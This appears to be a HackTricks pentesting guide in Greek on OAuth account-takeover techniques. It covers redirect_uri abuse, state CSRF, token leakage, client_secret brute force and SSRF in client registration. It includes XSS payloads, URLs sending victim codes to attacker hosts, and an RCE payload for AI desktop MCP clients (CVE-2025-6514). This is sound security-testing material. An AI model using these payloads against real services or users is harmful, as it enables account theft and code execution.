OAuth για κατάληψη λογαριασμού

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Βασικές Πληροφορίες

OAuth προσφέρει διάφορες εκδόσεις, με βασικές πληροφορίες διαθέσιμες στο OAuth 2.0 documentation. Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο OAuth 2.0 authorization code grant type, παρέχοντας ένα πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή (the authorization server).

Σκεφτείτε έναν υποθετικό ιστότοπο https://example.com, σχεδιασμένο για να εμφανίζει όλες τις αναρτήσεις σας στα social media, συμπεριλαμβανομένων και των ιδιωτικών. Για να το πετύχει αυτό, χρησιμοποιείται το OAuth 2.0. https://example.com θα ζητήσει την άδειά σας για να έχει πρόσβαση στις αναρτήσεις σας στα social media. Κατά συνέπεια, μια οθόνη συγκατάθεσης θα εμφανιστεί στο https://socialmedia.com, περιγράφοντας τις εξουσιοδοτήσεις που ζητούνται και τον προγραμματιστή που κάνει το αίτημα. Με την εξουσιοδότησή σας, https://example.com αποκτά τη δυνατότητα να πρόσβαση στις αναρτήσεις σας εκ μέρους σας.

Είναι σημαντικό να κατανοήσετε τα ακόλουθα στοιχεία μέσα στο πλαίσιο OAuth 2.0:

  • resource owner: Εσείς, ως χρήστης/οντότητα, εξουσιοδοτείτε πρόσβαση στους πόρους σας, όπως τις αναρτήσεις του social media λογαριασμού σας.
  • resource server: Ο διακομιστής που διαχειρίζεται τα πιστοποιημένα αιτήματα αφότου η εφαρμογή έχει εξασφαλίσει ένα access token εκ μέρους του resource owner, π.χ. https://socialmedia.com.
  • client application: Η εφαρμογή που ζητά εξουσιοδότηση από τον/την resource owner, όπως https://example.com.
  • authorization server: Ο διακομιστής που εκδίδει τα access tokens στην client application μετά την επιτυχή authentication του resource owner και την εξασφάλιση της εξουσιοδότησης, π.χ. https://socialmedia.com.
  • client_id: Ένας δημόσιος, μοναδικός αναγνωριστικός για την εφαρμογή.
  • client_secret: Ένα μυστικό κλειδί, γνωστό μόνο στην εφαρμογή και στον authorization server, που χρησιμοποιείται για τη δημιουργία access_tokens.
  • response_type: Μια τιμή που καθορίζει τον τύπο token που ζητείται, όπως code.
  • scope: Το επίπεδο πρόσβασης που ζητά η client application από τον/την resource owner.
  • redirect_uri: Το URL στο οποίο ο χρήστης ανακατευθύνεται μετά την εξουσιοδότηση. Συνήθως πρέπει να συμφωνεί με το προ-καταχωρημένο redirect URL.
  • state: Παράμετρος για τη διατήρηση δεδομένων κατά την ανακατεύθυνση του χρήστη προς και από τον authorization server. Η μοναδικότητά της είναι κρίσιμη για να λειτουργεί ως μηχανισμός προστασίας CSRF.
  • grant_type: Παράμετρος που υποδεικνύει τον τύπο grant και τον τύπο token που θα επιστραφεί.
  • code: Ο authorization code από τον authorization server, που χρησιμοποιείται σε συνδυασμό με client_id και client_secret από την client application για να αποκτηθεί ένα access_token.
  • access_token: Το token που χρησιμοποιεί η client application για API αιτήματα εκ μέρους του resource owner.
  • refresh_token: Επιτρέπει στην εφαρμογή να αποκτήσει νέο access_token χωρίς να ζητήσει ξανά την παρέμβαση του χρήστη.

Ροή

Η πραγματική ροή του OAuth εξελίσσεται ως εξής:

  1. Πλοηγείστε στο https://example.com και επιλέγετε το κουμπί «Ενσωμάτωση με Social Media».
  2. Ο ιστότοπος στέλνει ένα αίτημα στο https://socialmedia.com ζητώντας την εξουσιοδότησή σας ώστε η εφαρμογή του https://example.com να έχει πρόσβαση στις αναρτήσεις σας. Το αίτημα διαμορφώνεται ως εξής:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Στη συνέχεια σας εμφανίζεται μια σελίδα συγκατάθεσης.
  2. Μετά την έγκρισή σας, η πλατφόρμα κοινωνικής δικτύωσης στέλνει μια απάντηση στο redirect_uri με τις παραμέτρους code και state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com χρησιμοποιεί αυτό το code, μαζί με το client_id και το client_secret, για να κάνει ένα server-side request προκειμένου να αποκτήσει ένα access_token εκ μέρους σας, επιτρέποντας πρόσβαση στις άδειες που συγκατανεύσατε:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Τέλος, η διαδικασία ολοκληρώνεται καθώς το https://example.com χρησιμοποιεί το access_token σας για να κάνει μια κλήση API σε μέσο κοινωνικής δικτύωσης για πρόσβαση

Ευπάθειες

Ανοιχτό redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Οποιαδήποτε αδυναμία εδώ επιτρέπει σε έναν επιτιθέμενο να στείλει ένα θύμα μέσω ενός κακόβουλου authorization URL έτσι ώστε το IdP να παραδίδει το code (και state) του θύματος απευθείας σε έναν επιτιθέμενο endpoint, ο οποίος μπορεί στη συνέχεια να το εξαργυρώσει και να συλλέξει tokens.

Τυπική ροή επίθεσης:

  1. Δημιουργήστε https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback και στείλτε το στο θύμα.
  2. Το θύμα αυθεντικοποιείται και εγκρίνει τα scopes.
  3. Το IdP ανακατευθύνει σε attacker.tld/callback?code=<victim-code>&state=... όπου ο επιτιθέμενος καταγράφει το request και αμέσως εξαργυρώνει το code.

Κοινά σφάλματα επικύρωσης προς έλεγχο:

  • Καμία επικύρωση – οποιοδήποτε absolute URL γίνεται αποδεκτό, με αποτέλεσμα άμεση κλοπή του code.
  • Αδύναμοι έλεγχοι substring/regex στο host – παράκαμψη με lookalikes όπως evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ή match.com@evil.com.
  • IDN homograph mismatches – η επικύρωση γίνεται στη μορφή punycode (xn--), αλλά ο browser ανακατευθύνει στο Unicode domain που ελέγχεται από τον επιτιθέμενο.
  • Arbitrary paths on an allowed host – το να δείχνει κανείς το redirect_uri σε /openredirect?next=https://attacker.tld ή οποιοδήποτε XSS/user-content endpoint leaks the code είτε μέσω αλυσιδωτών redirects, Referer headers, είτε μέσω injected JavaScript.
  • Directory constraints without normalization – μοτίβα όπως /oauth/* μπορούν να παρακαμφθούν με /oauth/../anything.
  • Wildcard subdomains – η αποδοχή του *.example.com σημαίνει ότι οποιοδήποτε takeover (dangling DNS, S3 bucket, κ.λπ.) παράγει άμεσα ένα έγκυρο callback.
  • Non-HTTPS callbacks – το να επιτρέπονται http:// URIs δίνει στους network attackers (Wi‑Fi, corporate proxy) την ευκαιρία να αρπάξουν το code εν πτήσει.

Ελέγξτε επίσης βοηθητικές παραμέτρους τύπου redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, κ.λπ.) και το OpenID discovery document (/.well-known/openid-configuration) για επιπλέον endpoints που μπορεί να κληρονομήσουν τα ίδια σφάλματα επικύρωσης.

Διαρροή token από redirect σε allowlisted domains με υποδιαδρομές ελεγχόμενες από επιτιθέμενο

Η “κλείδωμα” του redirect_uri σε “owned/first-party domains” δεν βοηθάει αν οποιοδήποτε allowlisted domain εκθέτει διαδρομές ή execution contexts ελεγχόμενα από επιτιθέμενο (legacy app platforms, user namespaces, CMS uploads, κ.λπ.). Εάν το OAuth/federated login flow returns tokens in the URL (query ή hash), ένας επιτιθέμενος μπορεί:

  1. Να ξεκινήσει ένα νόμιμο flow για να δημιουργήσει ένα pre-token (π.χ. ένα etoken σε multi-step Accounts Center/FXAuth flow).
  2. Να στείλει στο θύμα ένα authorization URL που θέτει το allowlisted domain ως redirect_uri/base_uri αλλά δείχνει το next/path σε ένα namespace ελεγχόμενο από επιτιθέμενο (π.χ. https://apps.facebook.com/<attacker_app>).
  3. Μετά την έγκριση από το θύμα, το IdP ανακατευθύνει στην υποδιαδρομή ελεγχόμενη από τον επιτιθέμενο με ευαίσθητες τιμές στο URL (token, blob, codes, κ.λπ.).
  4. JavaScript στη σελίδα αυτή διαβάζει το window.location και εξάγει τις τιμές παρά το γεγονός ότι το domain είναι “trusted.”
  5. Επαναλάβετε (Replay) τις συλλεγμένες τιμές απέναντι σε downstream privileged endpoints που αναμένουν μόνο τα redirect-carried tokens. Παραδείγματα από το FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS στην υλοποίηση redirect

Όπως αναφέρεται σε αυτή την bug bounty αναφορά https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html μπορεί να είναι πιθανό ότι το redirect URL αντικατοπτρίζεται στην απάντηση του διακομιστή μετά την πιστοποίηση του χρήστη, καθιστώντας το ευάλωτο σε XSS. Πιθανό payload για δοκιμή:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

Σελίδες σφάλματος callback του OAuth: reflected error_description, trusted-origin phishing, and encoded state leakage

Ορισμένες ενσωματώσεις του OAuth χρησιμοποιούν μια first-party callback page για να εμφανίσουν αποτυχίες σύνδεσης αφού ο IdP κάνει redirect τον browser πίσω. Αυτές οι σελίδες έχουν μεγάλη αξία επειδή ήδη τρέχουν σε μια trusted origin και συχνά διαβάζουν παραμέτρους που ελέγχονται από attacker όπως error, error_description, message, description, ή state.

  • Reflecting error_description into HTML χωρίς αυστηρό output encoding μετατρέπει το callback σε μια trusted-origin phishing page. Ακόμα και όταν το <script> φιλτράρεται, το HTML injection μπορεί να πλαστογραφήσει ολόκληρη τη σελίδα σφάλματος και να καθοδηγήσει το θύμα να εκτελέσει ενέργειες επιλεγμένες από τον attacker.
  • WAFs often key on common handlers όπως onload/onerror. Όταν τα κανονικά payloads μπλοκάρονται, δοκιμάστε browser-specific or uncommon events που οι defenders ίσως δεν έχουν blacklistάρει. Ένα πρακτικό παράδειγμα είναι το Safari’s onpagereveal, το οποίο μπορεί να εκτελεστεί όταν η malicious callback page εμφανιστεί σε Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: εάν το εισαγόμενο HTML/JS μπορεί να ανοίξει ξανά ή να ξαναφορτώσει το ίδιο callback URL, μπορεί να προκληθεί client-side resource exhaustion, επαναλαμβανόμενα popups/tabs, ή log flooding σε κάθε render.
  • Always decode opaque-looking state values. Πολλές υλοποιήσεις κωδικοποιούν με Base64 JSON ή μεταδεδομένα χρήστη και θεωρούν ότι είναι “hidden”. Το Base64 είναι αναστρέψιμο, οπότε τα callback URLs μπορεί να leak PII όπως διευθύνσεις email, tenant identifiers, return paths, ή internal workflow state.
  • Treat URL exposure as part of the bug: οτιδήποτε τοποθετηθεί στο callback URL μπορεί αργότερα να εμφανιστεί στο ιστορικό του browser, σε reverse proxies, load balancers, app logs, monitoring tools, screenshots, και στα Referer headers εάν η σελίδα φορτώνει τρίτους πόρους.

Quick checks during testing:

  1. Trigger both success and failure OAuth callbacks and capture the full URL plus rendered HTML.
  2. Replay the callback while mutating error_description, message, and similar error fields with plain text, HTML, and event-handler payloads.
  3. Decode state as Base64/URL-safe Base64 and inspect it for PII or application state that should have stayed server-side.
  4. Repeat browser-specific payloads in Safari/WebKit when the WAF blocks standard inline-event XSS probes.

CSRF - Λανθασμένη διαχείριση της παραμέτρου state

Η παράμετρος state είναι το CSRF token του Authorization Code flow: ο client πρέπει να παράγει μία κρυπτογραφικά τυχαία τιμή ανά browser instance, να την αποθηκεύει κάπου που μόνο αυτός ο browser μπορεί να διαβάσει (cookie, local storage, κ.λπ.), να την στέλνει στο authorization request και να απορρίπτει οποιαδήποτε απάντηση δεν επιστρέφει την ίδια τιμή. Όταν η τιμή είναι στατική, προβλέψιμη, προαιρετική ή δεν συνδέεται με την συνεδρία του χρήστη, ο επιτιθέμενος μπορεί να ολοκληρώσει το δικό του OAuth flow, να αποκτήσει το τελικό ?code= request (χωρίς να το στείλει), και αργότερα να εξαναγκάσει έναν browser θύμα να αναπαράγει αυτό το request ώστε ο λογαριασμός του θύματος να συνδεθεί με το identity provider προφίλ του επιτιθέμενου.

Το replay pattern είναι πάντα το ίδιο:

  1. Ο επιτιθέμενος αυθεντικοποιείται στο IdP με τον δικό του λογαριασμό και υποκλέπτει το τελευταίο redirect που περιέχει code (και όποιο state).
  2. Απορρίπτει αυτό το request, κρατάει το URL, και αργότερα καταχράται οποιοδήποτε CSRF primitive (link, iframe, auto-submitting form) για να εξαναγκάσει το browser του θύματος να το φορτώσει.
  3. Εάν ο client δεν επιβάλει το state, η εφαρμογή καταναλώνει το authorization result του επιτιθέμενου και συνδέει τον επιτιθέμενο στο λογαριασμό της εφαρμογής του θύματος.

Ένας πρακτικός checklist για το χειρισμό του state κατά τις δοκιμές:

  • Missing state entirely – εάν η παράμετρος δεν εμφανίζεται ποτέ, το login είναι πλήρως CSRFable.
  • state not required – αφαιρέστε το από το αρχικό request· εάν ο IdP εξακολουθεί να εκδίδει codes που ο client αποδέχεται, η άμυνα είναι opt-in.
  • Returned state not validated – αλλοιώστε την τιμή στην απάντηση (Burp, MITM proxy). Η αποδοχή μη ταιριαστών τιμών σημαίνει ότι το αποθηκευμένο token δεν συγκρίνεται ποτέ.
  • Predictable or purely data-driven state – πολλές εφαρμογές τοποθετούν redirect paths ή JSON blobs στο state χωρίς να προσθέτουν randomness, επιτρέποντας σε επιτιθέμενους να μαντέψουν έγκυρες τιμές και να επαναπαίξουν flows. Προσθέστε πάντα ισχυρή entropy πριν την κωδικοποίηση των δεδομένων.
  • state fixation – εάν η εφαρμογή επιτρέπει στους χρήστες να παρέχουν την τιμή state (π.χ. μέσω crafted authorization URLs) και την επαναχρησιμοποιεί σε όλο το flow, ένας επιτιθέμενος μπορεί να κλειδώσει μια γνωστή τιμή και να τη χρησιμοποιήσει σε πολλούς στόχους.

Το PKCE μπορεί να συμπληρώσει το state (ειδικά για public clients) δεσμεύοντας τον authorization code σε έναν code verifier, αλλά οι web clients πρέπει παρ’ όλα αυτά να παρακολουθούν το state για να αποτρέψουν cross-user CSRF/account-linking σφάλματα.

Pre Account Takeover

  1. Without Email Verification on Account Creation: οι επιτιθέμενοι μπορούν προλειτουργικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει τρίτη υπηρεσία για login, η εφαρμογή μπορεί ανεπιθύμητα να συνδέσει αυτό το third-party account με τον προ-δημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
  2. Exploiting Lax OAuth Email Verification: οι επιτιθέμενοι μπορεί να εκμεταλλευτούν OAuth services που δεν επαληθεύουν emails, εγγραφόμενοι στην υπηρεσία και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος ρισκάρει επίσης μη εξουσιοδοτημένη πρόσβαση, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού attack vector.

Disclosure of Secrets

Το client_id είναι σκόπιμα δημόσιο, αλλά το client_secret δεν πρέπει ποτέ να είναι ανακτήσιμο από τελικούς χρήστες. Authorization Code deployments που ενσωματώνουν το secret σε mobile APKs, desktop clients, ή single-page apps ουσιαστικά παραδίδουν αυτό το credential σε όποιον μπορεί να κατεβάσει το πακέτο. Ελέγξτε δημόσιους clients πάντα με:

  • Αποσυμπίεση του APK/IPA, του desktop installer, ή του Electron app και αναζήτηση για client_secret, Base64 blobs που αποκωδικοποιούνται σε JSON, ή hard-coded OAuth endpoints.
  • Ανασκόπηση ενσωματωμένων config files (plist, JSON, XML) ή αποδομημένων strings για client credentials.

Μόλις ο επιτιθέμενος εξάγει το secret, χρειάζεται μόνο να κλέψει οποιονδήποτε victim authorization code (διαμέσου ενός αδύναμου redirect_uri, logs, κ.λπ.) για να χτυπήσει ανεξάρτητα το /token και να εκδώσει access/refresh tokens χωρίς να εμπλέξει την νόμιμη εφαρμογή. Θεωρήστε τους public/native clients ως ακατάλληλους για να κρατήσουν secrets—αντί αυτού πρέπει να βασίζονται σε PKCE (RFC 7636) για να αποδείξουν την κατοχή ενός per-instance code verifier αντί ενός στατικού secret. Κατά τις δοκιμές, επιβεβαιώστε εάν το PKCE είναι υποχρεωτικό και εάν το backend απορρίπτει πραγματικά token exchanges που παραλείπουν είτε το client_secret ή έναν έγκυρο code_verifier.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: after the OAuth redirect, any navigation that keeps ?code=&state= in the URL will push them into the Referer header sent to CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to postMessage events and then send the current location.href/referrer to backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.

Access Token Stored in Browser History

The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web Storage – localStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Για πιο λεπτομερείς πληροφορίες για το πώς να καταχραστείτε το AWS Cognito δείτε AWS Cognito - Unauthenticated Enum Access.

Κατάχρηση tokens άλλων εφαρμογών

Όπως mentioned in this writeup, ροές OAuth που αναμένουν να λάβουν το token (και όχι ένα code) μπορεί να είναι ευάλωτες εάν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή.

Αυτό συμβαίνει επειδή ένας attacker θα μπορούσε να δημιουργήσει μια application supporting OAuth and login with Facebook (για παράδειγμα) ως δική του εφαρμογή. Έπειτα, μόλις ένα victim κάνει login με Facebook στην attackers application, ο attacker θα μπορούσε να λάβει το OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.

Caution

Επομένως, αν ο attacker καταφέρει να κάνει τον user να έχει πρόσβαση στην δική του OAuth application, θα μπορέσει να αποκτήσει τον έλεγχο του λογαριασμού του victim σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token χορηγήθηκε στο app ID τους.

Two links & cookie

Σύμφωνα με this writeup, ήταν δυνατό να γίνει ένας victim να ανοίξει μια σελίδα με ένα returnUrl που δείχνει στον attackers host. Αυτή η πληροφορία θα αποθηκευόταν σε ένα cookie (RU) και σε ένα μετέπειτα βήμα το prompt θα ρωτούσε τον user αν θέλει να δώσει πρόσβαση σε αυτόν τον attackers host.

Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει ένα tab για να ξεκινήσει το Oauth flow που θα έθετε αυτό το RU cookie χρησιμοποιώντας το returnUrl, να κλείσει το tab πριν εμφανιστεί το prompt, και να ανοίξει ένα νέο tab χωρίς αυτή την τιμή. Τότε, το prompt δεν θα ενημερώνει για τον attackers host, αλλά το cookie θα έχει οριστεί σε αυτόν, οπότε το token θα σταλεί στον attackers host κατά την ανακατεύθυνση.

Prompt Interaction Bypass

Όπως εξηγείται σε this video, ορισμένες υλοποιήσεις OAuth επιτρέπουν να οριστεί το GET parameter prompt ως None (&prompt=none) για να αποτραπεί το να ζητηθεί από τους users να επιβεβαιώσουν την εκχωρημένη πρόσβαση σε ένα web prompt, εάν είναι ήδη συνδεδεμένοι στην πλατφόρμα.

response_mode

Όπως explained in this video, μπορεί να είναι δυνατόν να οριστεί το parameter response_mode για να υποδείξετε πού θέλετε να παρασχεθεί το code στο τελικό URL:

  • response_mode=query -> Το code παρέχεται μέσα σε ένα GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> Το code παρέχεται μέσα στο URL fragment: #code=2397rf3gu93f
  • response_mode=form_post -> Το code παρέχεται μέσα σε μια POST φόρμα με ένα input ονόματι code και την τιμή
  • response_mode=web_message -> Το code αποστέλλεται σε ένα post message: window.opener.postMessage({"code": "asdasdasd...

Οι OAuth consent/login dialogs είναι ιδανικοί στόχοι για clickjacking: εάν μπορούν να τοποθετηθούν σε frame, ένας attacker μπορεί να επικάψει custom γραφικά, να κρύψει τα πραγματικά κουμπιά, και να ξεγελάσει users ώστε να εγκρίνουν επικίνδυνα scopes ή να συνδέσουν accounts. Δημιουργήστε PoCs που:

  1. Φορτώνουν το IdP authorization URL μέσα σε ένα <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Χρησιμοποιούν τεχνικές absolute positioning/opacity για να ευθυγραμμίσουν fake buttons με τα κρυμμένα Allow/Approve controls.
  3. Προαιρετικά, προ-συμπληρώνουν παραμέτρους (scopes, redirect URI) ώστε η κλεμμένη έγκριση να ωφελήσει άμεσα τον attacker.

Κατά τη διάρκεια των δοκιμών, επαληθεύστε ότι οι σελίδες του IdP εκπέμπουν είτε X-Frame-Options: DENY/SAMEORIGIN είτε ένα περιοριστικό Content-Security-Policy: frame-ancestors 'none'. Εάν καμία από τις δύο δεν είναι παρούσα, επιδείξτε τον κίνδυνο με εργαλεία όπως το NCC Group’s clickjacking PoC generator και καταγράψτε πόσο εύκολα ένας victim εξουσιοδοτεί την app του attacker. Για επιπλέον ιδέες payload δείτε Clickjacking.

OAuth ROPC flow - 2 FA bypass

Σύμφωνα με this blog post, αυτή είναι μια OAuth ροή που επιτρέπει το login στο OAuth μέσω username και password. Εάν κατά τη διάρκεια αυτής της απλής ροής επιστραφεί ένα token με πρόσβαση σε όλες τις ενέργειες που μπορεί να εκτελέσει ο user, τότε είναι δυνατό να παρακαμφθεί το 2FA χρησιμοποιώντας εκείνο το token.

ATO on web page redirecting based on open redirect to referrer

Αυτό το blogpost περιγράφει πώς ήταν δυνατόν να καταχραστεί ένα open redirect χρησιμοποιώντας την τιμή του referrer για να εκμεταλλευτεί το OAuth προς ATO. Η επίθεση ήταν:

  1. Ο victim επισκέπτεται την attackers web page.
  2. Ο victim ανοίγει το malicious link και ένας opener ξεκινά το Google OAuth flow με response_type=id_token,code&prompt=none ως επιπλέον παραμέτρους χρησιμοποιώντας ως referrer the attackers website.
  3. Στον opener, αφού ο provider εξουσιοδοτήσει τον victim, τον στέλνει πίσω στην τιμή του redirect_uri parameter (victim web) με ένα 30X code που εξακολουθεί να κρατά τον attackers website ως referer.
  4. Η victim website ενεργοποιεί το open redirect βάσει του referrer και ανακατευθύνει τον user στον attackers website. Επειδή το response_type ήταν id_token,code, ο code θα σταλεί πίσω στον attacker στο fragment του URL, επιτρέποντάς του να takeover τον λογαριασμό του user μέσω Google στην victim site.

SSRFs parameters

Check this research Για περισσότερες λεπτομέρειες αυτής της τεχνικής.

Το Dynamic Client Registration στο OAuth λειτουργεί ως ένα λιγότερο προφανές αλλά κρίσιμο διάνυσμα για ευπάθειες ασφαλείας, συγκεκριμένα για επιθέσεις SSRF. Αυτό το endpoint επιτρέπει στους OAuth servers να λαμβάνουν λεπτομέρειες για client applications, συμπεριλαμβανομένων ευαίσθητων URLs που μπορούν να εκμεταλλευτούν.

Κύρια σημεία:

  • Το Dynamic Client Registration συχνά αντιστοιχίζεται σε /register και δέχεται λεπτομέρειες όπως client_name, client_secret, redirect_uris, και URLs για logos ή JSON Web Key Sets (JWKs) μέσω POST requests.
  • Αυτή η λειτουργία συμμορφώνεται με τις προδιαγραφές στο RFC7591 και OpenID Connect Registration 1.0, οι οποίες περιλαμβάνουν παραμέτρους δυνητικά ευάλωτες σε SSRF.
  • Η διαδικασία εγγραφής μπορεί να εκθέσει τους servers σε SSRF με διάφορους τρόπους:
    • logo_uri: Ένα URL για το logo της client εφαρμογής που μπορεί να γίνει fetch από τον server, πυροδοτώντας SSRF ή οδηγώντας σε XSS εάν το URL χειριστεί λανθασμένα.
    • jwks_uri: Ένα URL προς το JWK έγγραφο του client, το οποίο αν είναι κακόβουλα κατασκευασμένο μπορεί να προκαλέσει τον server να κάνει outbound requests σε έναν attacker-controlled server.
    • sector_identifier_uri: Αναφορές σε ένα JSON array από redirect_uris, το οποίο ο server μπορεί να κάνει fetch, δημιουργώντας ευκαιρία SSRF.
    • request_uris: Λίστες επιτρεπόμενων request URIs για τον client, που μπορούν να εκμεταλλευτούν εάν ο server κάνει fetch αυτών των URIs στην αρχή της διαδικασίας authorization.

Στρατηγική Εκμετάλλευσης:

  • SSRF μπορεί να ενεργοποιηθεί εγγράφοντας έναν νέο client με κακόβουλα URLs σε παραμέτρους όπως logo_uri, jwks_uri ή sector_identifier_uri.
  • Ενώ η άμεση εκμετάλλευση μέσω request_uris μπορεί να μετριαστεί από whitelist controls, η παροχή ενός προ-εγγεγραμμένου, attacker-controlled request_uri μπορεί να διευκολύνει SSRF κατά τη φάση authorization.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Έρευνα για το CVE-2025-6514 (επηρεάζει mcp-remote clients όπως Claude Desktop, Cursor ή Windsurf) δείχνει πώς το dynamic OAuth discovery γίνεται ένα RCE primitive όποτε ο client προωθεί τα IdP metadata απευθείας στο λειτουργικό σύστημα. Ο απομακρυσμένος MCP server επιστρέφει ένα attacker-controlled authorization_endpoint κατά την ανταλλαγή discovery (/.well-known/openid-configuration ή οποιοδήποτε metadata RPC). Το mcp-remote ≤0.1.15 στη συνέχεια καλεί τον system URL handler (start, open, xdg-open, κ.λπ.) με όποια συμβολοσειρά έφτασε, οπότε οποιοδήποτε scheme/path υποστηρίζεται από το OS εκτελείται τοπικά.

Attack workflow

  1. Δείξτε τον desktop agent σε έναν εχθρικό MCP/OAuth server (npx mcp-remote https://evil). Ο agent λαμβάνει 401 μαζί με metadata.
  2. Ο server απαντά με JSON όπως:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. The client launches the OS handler for the supplied URI. Windows accepts payloads like file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux accept file:///Applications/Calculator.app/... or even custom schemes such as cmd://bash -lc '<payload>' if registered.
  2. Because this happens before any user interaction, merely configuring the client to talk to the attacker server yields code execution.

Πώς να το δοκιμάσετε

  • Στοχεύστε οποιονδήποτε OAuth-capable desktop/agent που πραγματοποιεί discovery μέσω HTTP(S) και ανοίγει τοπικά τα επιστρεφόμενα endpoints (Electron apps, CLI helpers, thick clients).
